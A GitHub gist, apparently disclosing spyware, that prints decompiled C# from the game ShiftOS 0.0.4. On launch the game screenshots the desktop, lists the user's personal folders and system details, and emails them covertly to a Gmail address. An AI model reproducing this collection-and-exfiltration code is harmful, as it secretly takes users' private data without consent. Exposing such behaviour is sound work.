Skip to content

Instantly share code, notes, and snippets.

@DeclanHoare
Created August 25, 2017 13:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DeclanHoare/af325de9a29f62aee0a2f16dbdb2c6a6 to your computer and use it in GitHub Desktop.
Save DeclanHoare/af325de9a29f62aee0a2f16dbdb2c6a6 to your computer and use it in GitHub Desktop.
spyware in shiftos 0.0.4
//
// Methods
//
private void BackgroundWorker1_DoWork (object sender, DoWorkEventArgs e)
{
int num10;
int num11;
try {
IL_00:
int num = 1;
this.emailcontent = string.Concat (new string[] {
"Computer Name: ",
MyProject.Computer.Name,
Environment.NewLine,
"Username: ",
MyProject.User.Name,
Environment.NewLine,
"Time: ",
Conversions.ToString (MyProject.Computer.Clock.LocalTime),
Environment.NewLine,
"Memory: ",
Strings.Format (MyProject.Computer.Info.AvailablePhysicalMemory / 1024.0 / 1024.0 / 1024.0, "0.00"),
" GB/",
Strings.Format (MyProject.Computer.Info.TotalPhysicalMemory / 1024.0 / 1024.0 / 1024.0, "0.00"),
" GB",
Environment.NewLine,
Environment.NewLine,
"Operating System: ",
MyProject.Computer.Info.OSFullName,
Environment.NewLine,
"OS Version: ",
MyProject.Computer.Info.OSVersion,
Environment.NewLine,
"OS Platform: ",
MyProject.Computer.Info.OSPlatform,
Environment.NewLine,
Environment.NewLine,
"Drive Label: ",
this.cdrive.VolumeLabel,
Environment.NewLine,
"Total Drive Size: ",
Strings.Format (Conversions.ToDouble (this.cdrive.TotalSize.ToString ()) / 1024.0 / 1024.0 / 1024.0, "0.00"),
" GigaBytes",
Environment.NewLine,
"File System: ",
this.cdrive.DriveFormat,
Environment.NewLine,
"Resolution: ",
Conversions.ToString (MyProject.Computer.Screen.Bounds.Width),
" x ",
Conversions.ToString (MyProject.Computer.Screen.Bounds.Height),
Environment.NewLine,
"ShiftOS Location: ",
MyProject.Computer.FileSystem.CurrentDirectory,
Environment.NewLine,
Environment.NewLine
});
IL_302:
num = 2;
this.emailcontent = this.emailcontent + "Computer Files: Folders, File Name - Size - Creation Date" + Environment.NewLine;
IL_320:
num = 3;
this.di = new DirectoryInfo (Environment.GetFolderPath (Environment.SpecialFolder.MyDocuments));
IL_334:
num = 4;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Documents - ",
this.di.FullName,
Environment.NewLine
});
IL_380:
num = 5;
string[] directories = Directory.GetDirectories (this.di.ToString ());
int i = 0;
checked {
while (i < directories.Length) {
string str = directories [i];
IL_3A0:
num = 6;
this.emailcontent = this.emailcontent + str + Environment.NewLine;
i++;
IL_3C0:
num = 7;
}
IL_3CB:
num = 8;
FileInfo[] files = this.di.GetFiles ();
int j = 0;
while (j < files.Length) {
FileInfo fileInfo = files [j];
IL_3E9:
num = 9;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Conversions.ToString (fileInfo.CreationTime),
" - ",
Strings.Format ((double)fileInfo.Length / 1000.0, "0.00"),
" KB - ",
fileInfo.Name,
Environment.NewLine
});
j++;
IL_46A:
num = 10;
}
IL_479:
num = 11;
this.di = new DirectoryInfo (Environment.GetFolderPath (Environment.SpecialFolder.MyMusic));
IL_48F:
num = 12;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Music - ",
this.di.FullName,
Environment.NewLine
});
IL_4DC:
num = 13;
string[] directories2 = Directory.GetDirectories (this.di.ToString ());
int k = 0;
while (k < directories2.Length) {
string str2 = directories2 [k];
IL_4FE:
num = 14;
this.emailcontent = this.emailcontent + str2 + Environment.NewLine;
k++;
IL_520:
num = 15;
}
IL_52C:
num = 16;
FileInfo[] files2 = this.di.GetFiles ();
int l = 0;
while (l < files2.Length) {
FileInfo fileInfo2 = files2 [l];
IL_54C:
num = 17;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Conversions.ToString (fileInfo2.CreationTime),
" - ",
Strings.Format ((double)fileInfo2.Length / 1000.0 / 1000.0, "0.00"),
" MB - ",
fileInfo2.Name,
Environment.NewLine
});
l++;
IL_5DA:
num = 18;
}
IL_5E9:
num = 19;
this.di = new DirectoryInfo (Environment.GetFolderPath (Environment.SpecialFolder.MyPictures));
IL_5FF:
num = 20;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Pictures - ",
this.di.FullName,
Environment.NewLine
});
IL_64C:
num = 21;
string[] directories3 = Directory.GetDirectories (this.di.ToString ());
int m = 0;
while (m < directories3.Length) {
string str3 = directories3 [m];
IL_66E:
num = 22;
this.emailcontent = this.emailcontent + str3 + Environment.NewLine;
m++;
IL_690:
num = 23;
}
IL_69C:
num = 24;
FileInfo[] files3 = this.di.GetFiles ();
int n = 0;
while (n < files3.Length) {
FileInfo fileInfo3 = files3 [n];
IL_6BC:
num = 25;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Conversions.ToString (fileInfo3.CreationTime),
" - ",
Strings.Format ((double)fileInfo3.Length / 1000.0 / 1000.0, "0.00"),
" MB - ",
fileInfo3.Name,
Environment.NewLine
});
n++;
IL_74A:
num = 26;
}
IL_759:
num = 27;
this.di = new DirectoryInfo (Environment.GetFolderPath ((Environment.SpecialFolder)14));
IL_76F:
num = 28;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Videos - ",
this.di.FullName,
Environment.NewLine
});
IL_7BC:
num = 29;
string[] directories4 = Directory.GetDirectories (this.di.ToString ());
int num2 = 0;
while (num2 < directories4.Length) {
string str4 = directories4 [num2];
IL_7DE:
num = 30;
this.emailcontent = this.emailcontent + str4 + Environment.NewLine;
num2++;
IL_800:
num = 31;
}
IL_80C:
num = 32;
FileInfo[] files4 = this.di.GetFiles ();
int num3 = 0;
while (num3 < files4.Length) {
FileInfo fileInfo4 = files4 [num3];
IL_82C:
num = 33;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Conversions.ToString (fileInfo4.CreationTime),
" - ",
Strings.Format ((double)fileInfo4.Length / 1000.0 / 1000.0 / 1000.0, "0.00"),
" GB - ",
fileInfo4.Name,
Environment.NewLine
});
num3++;
IL_8C4:
num = 34;
}
IL_8D3:
num = 35;
this.di = new DirectoryInfo (Environment.GetFolderPath (Environment.SpecialFolder.Desktop));
IL_8E8:
num = 36;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Desktop - ",
this.di.FullName,
Environment.NewLine
});
IL_935:
num = 37;
string[] directories5 = Directory.GetDirectories (this.di.ToString ());
int num4 = 0;
while (num4 < directories5.Length) {
string str5 = directories5 [num4];
IL_957:
num = 38;
this.emailcontent = this.emailcontent + str5 + Environment.NewLine;
num4++;
IL_979:
num = 39;
}
IL_985:
num = 40;
FileInfo[] files5 = this.di.GetFiles ();
int num5 = 0;
while (num5 < files5.Length) {
FileInfo fileInfo5 = files5 [num5];
IL_9A5:
num = 41;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Conversions.ToString (fileInfo5.CreationTime),
" - ",
Strings.Format ((double)fileInfo5.Length / 1000.0 / 1000.0, "0.00"),
" MB - ",
fileInfo5.Name,
Environment.NewLine
});
num5++;
IL_A33:
num = 42;
}
IL_A42:
num = 43;
this.di = new DirectoryInfo (Environment.GetFolderPath (Environment.SpecialFolder.Programs));
IL_A57:
num = 44;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Programs - ",
this.di.FullName,
Environment.NewLine
});
IL_AA4:
num = 45;
string[] directories6 = Directory.GetDirectories (this.di.ToString ());
int num6 = 0;
while (num6 < directories6.Length) {
string str6 = directories6 [num6];
IL_AC6:
num = 46;
this.emailcontent = this.emailcontent + str6 + Environment.NewLine;
num6++;
IL_AE8:
num = 47;
}
IL_AF4:
num = 48;
FileInfo[] files6 = this.di.GetFiles ();
int num7 = 0;
while (num7 < files6.Length) {
FileInfo fileInfo6 = files6 [num7];
IL_B11:
num = 49;
this.emailcontent = this.emailcontent + fileInfo6.Name + Environment.NewLine;
num7++;
IL_B38:
num = 50;
}
IL_B44:
num = 51;
this.di = new DirectoryInfo (Environment.GetFolderPath (Environment.SpecialFolder.ProgramFiles));
IL_B5A:
num = 52;
this.emailcontent = string.Concat (new string[] {
this.emailcontent,
Environment.NewLine,
"Program Files - ",
this.di.FullName,
Environment.NewLine
});
IL_BA7:
num = 53;
string[] directories7 = Directory.GetDirectories (this.di.ToString ());
int num8 = 0;
while (num8 < directories7.Length) {
string str7 = directories7 [num8];
IL_BC9:
num = 54;
this.emailcontent = this.emailcontent + str7 + Environment.NewLine;
num8++;
IL_BEB:
num = 55;
}
IL_BF7:
num = 56;
FileInfo[] files7 = this.di.GetFiles ();
int num9 = 0;
while (num9 < files7.Length) {
FileInfo fileInfo7 = files7 [num9];
IL_C14:
num = 57;
this.emailcontent = this.emailcontent + fileInfo7.Name + Environment.NewLine;
num9++;
IL_C3B:
num = 58;
}
IL_C47:
num = 59;
MailMessage mailMessage = new MailMessage ();
IL_C51:
num = 60;
if (!this.upgraded) {
goto IL_CAC;
}
IL_C5D:
num = 61;
mailMessage.Subject = string.Concat (new string[] {
MyProject.Computer.Name,
" Upgraded from ShiftOS ",
this.oldversion,
" to ",
this.actualshiftversion
});
IL_CAA:
goto IL_CFC;
IL_CAC:
num = 63;
IL_CB0:
num = 64;
mailMessage.Subject = string.Concat (new string[] {
"ShiftOS ",
this.actualshiftversion,
" - ",
MyProject.Computer.Name,
" Began Game"
});
IL_CFC:
num = 66;
mailMessage.To.Add ("ShiftOSGame@gmail.com");
IL_D10:
num = 67;
mailMessage.From = new MailAddress ("12padams@gmail.com");
IL_D24:
num = 68;
mailMessage.Body = this.emailcontent;
IL_D34:
num = 69;
mailMessage.Attachments.Add (new Attachment ("C:\\systemshot.jpeg"));
IL_D4D:
num = 70;
SmtpClient smtpClient = new SmtpClient ("smtp.gmail.com");
IL_D5C:
num = 71;
smtpClient.EnableSsl = true;
IL_D67:
num = 72;
smtpClient.Credentials = new NetworkCredential ("ShiftOSGame@gmail.com", "(PLAINTEXT PASSWORD HERE LMAO)");
IL_D80:
num = 73;
smtpClient.Port = 587;
IL_D8F:
ProjectData.ClearProjectError ();
num10 = 1;
IL_D97:
num = 75;
smtpClient.Send (mailMessage);
IL_DA2:
goto IL_F2B;
IL_DA7:;
}
int arg_DAE_0 = num11 + 1;
num11 = 0;
@switch (ICSharpCode.Decompiler.ILAst.ILLabel[], arg_DAE_0);
IL_EE7:
goto IL_F20;
num11 = num;
@switch (ICSharpCode.Decompiler.ILAst.ILLabel[], num10);
IL_EFC:
goto IL_F20;
}
object arg_EFE_0;
endfilter (arg_EFE_0 is Exception & num10 != 0 & num11 == 0);
IL_F20:
throw ProjectData.CreateProjectError (-2146828237);
IL_F2B:
if (num11 != 0) {
ProjectData.ClearProjectError ();
}
}
private void HijackScreen_Load (object sender, EventArgs e)
{
this.SaveScreen ();
Control.CheckForIllegalCrossThreadCalls = false;
this.cdrive = MyProject.Computer.FileSystem.GetDriveInfo ("C:\\");
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
if (MyProject.Computer.FileSystem.DirectoryExists ("C:\\ShiftOS")) {
if (Operators.CompareString (File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft"), this.actualshiftversion, false) == 0) {
MyProject.Forms.ShiftOSDesktop.Show ();
this.conversationtimer.Start ();
this.needtoclose = true;
}
else if (Operators.CompareString (File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft"), "0.0.4", false) == 0) {
if (MessageBox.Show ("Since you are about to start using a newer version of ShiftOS would you like to start a new game?", "Game Update", MessageBoxButtons.YesNo) == DialogResult.Yes) {
this.oldversion = File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft");
this.upgraded = true;
Directory.Delete ("C:/ShiftOS/", true);
this.BackgroundWorker1.RunWorkerAsync ();
this.conversationtimer.Start ();
this.hackeffecttimer.Start ();
}
else {
MyProject.Forms.ShiftOSDesktop.Show ();
this.conversationtimer.Start ();
this.needtoclose = true;
MyProject.Forms.ShiftOSDesktop.log = string.Concat (new string[] {
MyProject.Forms.ShiftOSDesktop.log,
Conversions.ToString (MyProject.Computer.Clock.LocalTime),
" Upgraded to ShiftOS ",
this.actualshiftversion,
" from ShiftOS version ",
File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft").ToString (),
Environment.NewLine
});
StreamWriter streamWriter = new StreamWriter ("C:/ShiftOS/Shiftum42/HDAccess.sft", false);
streamWriter.Write (this.actualshiftversion);
streamWriter.Close ();
}
}
else if (Operators.CompareString (File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft"), "0.0.5", false) == 0) {
if (MessageBox.Show ("Since you are about to start using a newer version of ShiftOS would you like to start a new game?", "Game Update", MessageBoxButtons.YesNo) == DialogResult.Yes) {
this.oldversion = File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft");
this.upgraded = true;
Directory.Delete ("C:/ShiftOS/", true);
this.BackgroundWorker1.RunWorkerAsync ();
this.conversationtimer.Start ();
this.hackeffecttimer.Start ();
}
else {
MyProject.Forms.ShiftOSDesktop.Show ();
this.conversationtimer.Start ();
this.needtoclose = true;
MyProject.Forms.ShiftOSDesktop.log = string.Concat (new string[] {
MyProject.Forms.ShiftOSDesktop.log,
Conversions.ToString (MyProject.Computer.Clock.LocalTime),
" Upgraded to ShiftOS ",
this.actualshiftversion,
" from ShiftOS version ",
File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft").ToString (),
Environment.NewLine
});
StreamWriter streamWriter2 = new StreamWriter ("C:/ShiftOS/Shiftum42/HDAccess.sft", true);
streamWriter2.Write (this.actualshiftversion);
streamWriter2.Close ();
}
}
else {
this.oldversion = File.ReadAllText ("C:/ShiftOS/Shiftum42/HDAccess.sft");
this.upgraded = true;
Directory.Delete ("C:/ShiftOS/", true);
this.BackgroundWorker1.RunWorkerAsync ();
this.conversationtimer.Start ();
this.hackeffecttimer.Start ();
}
}
else {
this.BackgroundWorker1.RunWorkerAsync ();
this.conversationtimer.Start ();
this.hackeffecttimer.Start ();
}
}
public void SaveScreen ()
{
Rectangle bounds = Screen.PrimaryScreen.Bounds;
Bitmap bitmap = new Bitmap (bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
Graphics graphics = Graphics.FromImage (bitmap);
graphics.CopyFromScreen (bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
bitmap = checked(new Bitmap (bitmap, (int)Math.Round ((double)bitmap.Width / 2.0), (int)Math.Round ((double)bitmap.Height / 2.0)));
bitmap.Save ("C:\\systemshot.jpeg", ImageFormat.Jpeg);
}
@Alex-ABPerson
Copy link

y no password include? :(

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment